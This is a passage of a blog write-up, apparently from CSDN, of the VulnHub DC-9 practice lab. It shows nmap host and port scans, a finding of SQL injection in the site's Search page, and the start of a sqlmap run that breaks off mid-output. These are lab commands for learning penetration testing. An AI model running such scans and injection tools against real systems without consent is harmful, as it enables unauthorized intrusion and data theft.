2-1、VulnHub(DC 9)

DC-9

DC 9

扫描靶机IP地址

nmap scan IP

nmap -sP 192.168.49.1/24

find DC-9 IP address 192.168.49.105
在这里插入图片描述
portscan 192.168.49.105

nmap -p 1-65535 192.168.49.105

在这里插入图片描述
发现 22、80端口,但是22端口的状态是filtered

web

访问80端口
在这里插入图片描述

在’Search’ 页面中可以输入
在这里插入图片描述
测试后发现,Search 处存在sql注入
抓包保存到txt中,然后使用sqlmap

# sqlmap -r 1.txt --dbs                                                                                                                           2 ⨯
        ___
       __H__                                                                                                                                            
 ___ ___[,]_____ ___ ___  {
   1.5.5#stable}                                                                                                                
|_ -| . [']     | .'| . |                                                                                                                               
|___|_  [)]_|_|_|__,|  _|                                                                                                                               
      |_|V...       |_|   http://sqlmap.org                                                                                                             

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 23:44:24 /2021-06-17/

[23:44:24] [INFO] parsing HTTP request from '1.txt'
[23:44:24] [INFO] testing connection to the target URL
[23:44:24] [INFO] checking if the target is protected by some kind of WAF/IPS
[23:44:24] [INFO] testing if the target URL content is stable
[23:44:25] [INFO] target URL content is stable
[23:44:25] [INFO] testing if POST parameter 'search
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值